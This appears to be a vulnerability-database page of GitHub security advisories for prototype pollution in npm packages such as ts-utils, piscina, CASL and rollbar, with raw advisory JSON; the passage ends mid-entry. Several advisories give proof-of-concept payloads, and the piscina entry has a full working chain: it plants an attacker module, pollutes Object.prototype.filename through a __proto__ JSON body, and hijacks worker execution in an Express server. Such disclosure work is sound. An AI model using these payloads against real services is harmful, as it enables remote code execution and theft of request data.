CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
811 vulnerabilities reference this CWE, most recent first.
GHSA-X7J8-49R8-MR43
Vulnerability from github – Published: 2026-05-21 21:41 – Updated: 2026-05-21 21:41Summary
The _copyProps function in lib/src/object/copy.ts uses for...in to iterate over source object properties without an Object.hasOwnProperty check, and does not filter dangerous keys (proto, constructor, prototype). This allows an attacker to pollute the prototype chain of all objects in the application.
Details
In _copyProps() (copy.ts lines 186-191), the code iterates all enumerable properties including inherited ones and dangerous keys like proto. Any object with a proto key (e.g., from untrusted JSON input) will overwrite the target's prototype.
PoC
const malicious = JSON.parse('{"__proto__": {"polluted": true}}');
objDeepCopy(malicious);
console.log({}.polluted); // true
Suggested Fix
Add objHasOwnProperty check and filter proto, constructor, prototype keys.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.0"
},
"package": {
"ecosystem": "npm",
"name": "@nevware21/ts-utils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46681"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T21:41:36Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe _copyProps function in lib/src/object/copy.ts uses for...in to iterate over source object properties without an Object.hasOwnProperty check, and does not filter dangerous keys (__proto__, constructor, prototype). This allows an attacker to pollute the prototype chain of all objects in the application.\n\n## Details\n\nIn _copyProps() (copy.ts lines 186-191), the code iterates all enumerable properties including inherited ones and dangerous keys like __proto__. Any object with a __proto__ key (e.g., from untrusted JSON input) will overwrite the target\u0027s prototype.\n\n## PoC\n```\nconst malicious = JSON.parse(\u0027{\"__proto__\": {\"polluted\": true}}\u0027);\nobjDeepCopy(malicious);\nconsole.log({}.polluted); // true\n```\n## Suggested Fix\n\nAdd objHasOwnProperty check and filter __proto__, constructor, prototype keys.",
"id": "GHSA-x7j8-49r8-mr43",
"modified": "2026-05-21T21:41:36Z",
"published": "2026-05-21T21:41:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nevware21/ts-utils/security/advisories/GHSA-x7j8-49r8-mr43"
},
{
"type": "PACKAGE",
"url": "https://github.com/nevware21/ts-utils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "@nevware21/ts-utils: Prototype Pollution in objDeepCopy/objCopyProps via for...in without hasOwnProperty"
}
GHSA-X7Q7-FCHV-8H2J
Vulnerability from github – Published: 2026-05-14 20:55 – Updated: 2026-06-09 10:23Impact
Prototype pollution is possible when property paths contain __proto__/constructor/prototype. The property path must not be exposed as user input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.2"
},
"package": {
"ecosystem": "npm",
"name": "@ranfdev/deepobj"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46509"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:55:24Z",
"nvd_published_at": "2026-05-28T19:16:39Z",
"severity": "HIGH"
},
"details": "### Impact\nPrototype pollution is possible when property paths contain `__proto__`/`constructor`/`prototype`. The property path must not be exposed as user input.",
"id": "GHSA-x7q7-fchv-8h2j",
"modified": "2026-06-09T10:23:26Z",
"published": "2026-05-14T20:55:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ranfdev/deepobj/security/advisories/GHSA-x7q7-fchv-8h2j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46509"
},
{
"type": "PACKAGE",
"url": "https://github.com/ranfdev/deepobj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "@ranfdev/deepobj has a Prototype Pollution vulnerability"
}
GHSA-X9G3-XRWR-CWFG
Vulnerability from github – Published: 2026-06-18 13:05 – Updated: 2026-06-18 13:05Summary
piscina's constructor and run() paths read the filename option via plain member access:
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.
Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).
Impact
Two preconditions:
- Upstream PP-source somewhere in the process — common in transitive deps
- Attacker-controllable
.mjsat a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain
Once both fire:
- Every pool.run(task, opts) call across the entire process is hijacked
- Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
- Attacker controls the return value — caller receives worker_response.by = "ATTACKER-WORKER" and any other attacker-supplied response fields — attacker can poison return values to legitimate clients
- Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
Affected versions
Empirically verified vulnerable on piscina@5.1.4 (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
Proof of concept
A) Minimal in-process PoC
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
B) Full-stack HTTP chain (this is the realistic shape)
A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call pool.run(req.body, {signal: ac.signal}) — the standard abort-aware shape.
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';
// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
// CORRECT pool init at boot
const pool = new Piscina({
filename: './valid-worker.mjs',
minThreads: 1, maxThreads: 2,
});
const config = {};
const app = express();
app.post('/api/settings', express.json(), (req, res) => {
vulnMerge(config, req.body); // PP source
res.json({ ok: true });
});
app.post('/api/process', express.json(), async (req, res) => {
const ac = new AbortController();
const result = await pool.run(req.body, { signal: ac.signal }); // <-- hijacked
res.json({ ok: true, worker_response: result });
});
app.listen(7755);
// === Attacker, 3 HTTP requests ===
// POST /upload → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
// → worker imports /tmp/atk.mjs
// → attacker fn called with req.body of THIS request
// → caller receives attacker-shaped response
Empirical observation on piscina@5.1.4 + Node 23.11.0:
- Pre-attack /api/process returns {by: 'valid-worker'}
- Cold-path /probe after PP source confirms ({}).filename is polluted process-wide
- Post-attack /api/process returns {by: 'ATTACKER-WORKER', processed: <caller's exfil data>}
- Sentinel file written from inside piscina/dist/worker.js with the worker process's uid + env access
Recommended fix
Minimal — own-property guard at both option-read sites:
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
? options.filename
: null;
const filename = userFilename
? (0, common_1.maybeFileURLToPath)(userFilename)
: null;
// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options); // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
More idiomatic — use a null-prototype working object throughout this.options:
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
: null;
this.options.maxQueue = 0;
Either approach closes the gadget without breaking any legitimate caller pattern.
The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar options.X member-access for worker / child-process / module-load operations is worth a quick audit.
Coordination
- Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit
ridingsaif you choose to credit a reporter.
How this was discovered
Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via import() / require() / new Worker()) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.4"
},
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-alpha.0"
},
{
"fixed": "5.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.2"
},
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "piscina"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0-rc.1"
},
{
"fixed": "6.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55388"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:05:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`piscina`\u0027s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n ? (0, common_1.maybeFileURLToPath)(options.filename)\n : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n if (options === null || typeof options !== \u0027object\u0027) {\n return Promise.reject(new TypeError(\u0027options must be an object\u0027));\n }\n const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller\u0027s options object doesn\u0027t have `filename` as an own property. When `Object.prototype.filename` is polluted upstream \u2014 by any of the well-documented PP-source CVEs (lodash\u003c4.17.13, qs\u003c6.10.3, set-value\u003c4.1.0, minimist\u003c1.2.6, deepmerge\u003c4.2.2, and others) \u2014 the inherited value flows to `worker_threads.Worker` import and the attacker\u0027s `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property \u2014 that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process \u2014 common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path \u2014 realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker\u0027s exported function is called with the legitimate caller\u0027s task data \u2014 **attacker reads per-request app data**\n- Attacker controls the return value \u2014 caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields \u2014 **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor\u0027s `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized \u2014 likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from \u0027fs\u0027;\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync(\u0027/tmp/atk.mjs\u0027, `\n import fs from \u0027fs\u0027;\n fs.writeFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, JSON.stringify({\n rce: \u0027CONFIRMED\u0027, pid: process.pid, argv1: process.argv[1],\n }));\n export default function(arg) { return \u0027attacker-return-\u0027 + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source \u2014 pollute Object.prototype.filename\n// (representative of CVE-2019-10744 lodash\u003c4.17.13, CVE-2022-24999 qs\u003c6.10.3,\n// and ~30 historical PP-source CVEs)\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\u0027);\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import(\u0027piscina\u0027);\nconst p = new Piscina({}); // inherits filename\nconst result = await p.run({}); // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync(\u0027/tmp/PISCINA_RCE_SENTINEL\u0027, \u0027utf8\u0027));\nconsole.log(\u0027attacker fn returned:\u0027, result);\n// \u2192 \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` \u2014 the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from \u0027express\u0027;\nimport { Piscina } from \u0027piscina\u0027;\n\n// Vulnerable PP-source middleware (lodash\u003c4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n for (const k of Object.keys(s)) {\n if (s[k] !== null \u0026\u0026 typeof s[k] === \u0027object\u0027) {\n if (!t[k]) t[k] = {};\n vulnMerge(t[k], s[k]);\n } else t[k] = s[k];\n }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n filename: \u0027./valid-worker.mjs\u0027,\n minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post(\u0027/api/settings\u0027, express.json(), (req, res) =\u003e {\n vulnMerge(config, req.body); // PP source\n res.json({ ok: true });\n});\n\napp.post(\u0027/api/process\u0027, express.json(), async (req, res) =\u003e {\n const ac = new AbortController();\n const result = await pool.run(req.body, { signal: ac.signal }); // \u003c-- hijacked\n res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload \u2192 drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process \u2192 pool.run() destructures filename via prototype\n// \u2192 worker imports /tmp/atk.mjs\n// \u2192 attacker fn called with req.body of THIS request\n// \u2192 caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: \u0027valid-worker\u0027}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: \u0027ATTACKER-WORKER\u0027, processed: \u003ccaller\u0027s exfil data\u003e}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process\u0027s uid + env access\n\n## Recommended fix\n\nMinimal \u2014 own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, \u0027filename\u0027)\n ? options.filename\n : null;\nconst filename = userFilename\n ? (0, common_1.maybeFileURLToPath)(userFilename)\n : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options); // copies own props only? \u2014 keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic \u2014 use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino \u2014 you\u0027re already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure\u0027s mechanism \u2014 any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.",
"id": "GHSA-x9g3-xrwr-cwfg",
"modified": "2026-06-18T13:05:11Z",
"published": "2026-06-18T13:05:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"
},
{
"type": "PACKAGE",
"url": "https://github.com/piscinajs/piscina"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "piscina: Prototype Pollution Gadget \u2192 RCE via inherited options.filename"
}
GHSA-X9VF-53Q3-CVX6
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-02-11 19:09CASL Ability, versions 2.4.0 through 6.7.4, contains a prototype pollution vulnerability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.7.4"
},
"package": {
"ecosystem": "npm",
"name": "@casl/ability"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.0"
},
{
"fixed": "6.7.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1774"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-11T19:09:05Z",
"nvd_published_at": "2026-02-10T16:16:10Z",
"severity": "CRITICAL"
},
"details": "CASL Ability, versions 2.4.0 through 6.7.4, contains a prototype pollution vulnerability.",
"id": "GHSA-x9vf-53q3-cvx6",
"modified": "2026-02-11T19:09:05Z",
"published": "2026-02-10T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1774"
},
{
"type": "WEB",
"url": "https://github.com/stalniy/casl/pull/1093"
},
{
"type": "WEB",
"url": "https://github.com/stalniy/casl/commit/39da920ec1dfadf3655e28bd0389e960ac6871f4"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/1321.html"
},
{
"type": "WEB",
"url": "https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution"
},
{
"type": "PACKAGE",
"url": "https://github.com/stalniy/casl"
},
{
"type": "WEB",
"url": "https://github.com/stalniy/casl/tree/master/packages/casl-ability"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/458422"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "CASL Ability is Vulnerable to Prototype Pollution"
}
GHSA-XCG2-9PP4-J82X
Vulnerability from github – Published: 2025-10-23 20:31 – Updated: 2025-10-24 19:28Impact
Prototype pollution vulnerability in merge(). If application code calls rollbar.configure() with untrusted input, prototype pollution is possible.
Patches
Fixed in 2.26.5 and 3.0.0-beta5.
Workarounds
Ensure that values passed to rollbar.configure() do not contain untrusted input.
References
Fixed in https://github.com/rollbar/rollbar.js/pull/1394 (2.26.x) and https://github.com/rollbar/rollbar.js/pull/1390 (3.x)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.26.4"
},
"package": {
"ecosystem": "npm",
"name": "rollbar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0-beta4"
},
"package": {
"ecosystem": "npm",
"name": "rollbar"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-alpha1"
},
{
"fixed": "3.0.0-beta5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62517"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-23T20:31:30Z",
"nvd_published_at": "2025-10-23T20:15:41Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nPrototype pollution vulnerability in merge(). If application code calls `rollbar.configure()` with untrusted input, prototype pollution is possible.\n\n### Patches\n\nFixed in 2.26.5 and 3.0.0-beta5.\n\n### Workarounds\n\nEnsure that values passed to `rollbar.configure()` do not contain untrusted input.\n\n### References\n\nFixed in https://github.com/rollbar/rollbar.js/pull/1394 (2.26.x) and https://github.com/rollbar/rollbar.js/pull/1390 (3.x)",
"id": "GHSA-xcg2-9pp4-j82x",
"modified": "2025-10-24T19:28:46Z",
"published": "2025-10-23T20:31:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/security/advisories/GHSA-xcg2-9pp4-j82x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62517"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/pull/1390"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/pull/1394"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/commit/61032fe6c208b71e249514800808a54bcb8cb8bb"
},
{
"type": "WEB",
"url": "https://github.com/rollbar/rollbar.js/commit/d717def8b68f4a947975d0aebb729869cdb2d343"
},
{
"type": "PACKAGE",
"url": "https://github.com/rollbar/rollbar.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "rollbar vulnerable to Prototype Pollution in merge()"
}
GHSA-XCVV-84J5-JW9H
Vulnerability from github – Published: 2018-07-26 15:12 – Updated: 2023-03-01 01:46Versions of assign-deep before 0.4.7 are vulnerable to prototype pollution via merging functions.
Recommendation
Update to version 0.4.7 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "assign-deep"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-3720"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-471"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:03:01Z",
"nvd_published_at": "2018-06-07T02:29:00Z",
"severity": "HIGH"
},
"details": "Versions of `assign-deep` before 0.4.7 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 0.4.7 or later.",
"id": "GHSA-xcvv-84j5-jw9h",
"modified": "2023-03-01T01:46:49Z",
"published": "2018-07-26T15:12:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3720"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/assign-deep/commit/19953a8c089b0328c470acaaaf6accdfcb34da11"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/310707"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-xcvv-84j5-jw9h"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/579"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in assign-deep"
}
GHSA-XFQM-J7PC-XRFC
Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-25 16:46The messageformat package, an implementation of the Unicode MessageFormat 2 specification for JavaScript, is vulnerable to prototype pollution due to improper handling of message key paths in versions prior to 2.3.0. The flaw arises when processing nested message keys containing special characters (e.g., proto ), which can lead to unintended modification of the JavaScript Object prototype. This vulnerability may allow a remote attacker to inject properties into the global object prototype via specially crafted message input, potentially causing denial of service or other undefined behaviors in applications using the affected component.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 2.3.0"
},
"package": {
"ecosystem": "npm",
"name": "messageformat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0-beta.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-57349"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-25T16:46:42Z",
"nvd_published_at": "2025-09-24T19:15:40Z",
"severity": "LOW"
},
"details": "The messageformat package, an implementation of the Unicode MessageFormat 2 specification for JavaScript, is vulnerable to prototype pollution due to improper handling of message key paths in versions prior to 2.3.0. The flaw arises when processing nested message keys containing special characters (e.g., __proto__ ), which can lead to unintended modification of the JavaScript Object prototype. This vulnerability may allow a remote attacker to inject properties into the global object prototype via specially crafted message input, potentially causing denial of service or other undefined behaviors in applications using the affected component.",
"id": "GHSA-xfqm-j7pc-xrfc",
"modified": "2025-09-25T16:46:42Z",
"published": "2025-09-24T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57349"
},
{
"type": "WEB",
"url": "https://github.com/messageformat/messageformat/issues/452"
},
{
"type": "PACKAGE",
"url": "https://github.com/messageformat/messageformat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "messageformat has a prototype pollution vulnerability"
}
GHSA-XG68-CHX2-253G
Vulnerability from github – Published: 2021-05-24 19:53 – Updated: 2025-08-14 22:15Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-deparam allows a malicious user to inject properties into Object.prototype.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jquery-deparam"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-20087"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-20T21:58:11Z",
"nvd_published_at": "2021-04-23T18:15:00Z",
"severity": "HIGH"
},
"details": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027) in jquery-deparam allows a malicious user to inject properties into Object.prototype.",
"id": "GHSA-xg68-chx2-253g",
"modified": "2025-08-14T22:15:23Z",
"published": "2021-05-24T19:53:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20087"
},
{
"type": "WEB",
"url": "https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md"
},
{
"type": "WEB",
"url": "https://github.com/RetireJS/retire.js/blob/6da45fcb6a3425e55ee8181b2ac35168879bf086/repository/jsrepository-master.json#L824-L842"
}
],
"schema_version": "1.4.0",
"severity": [
{
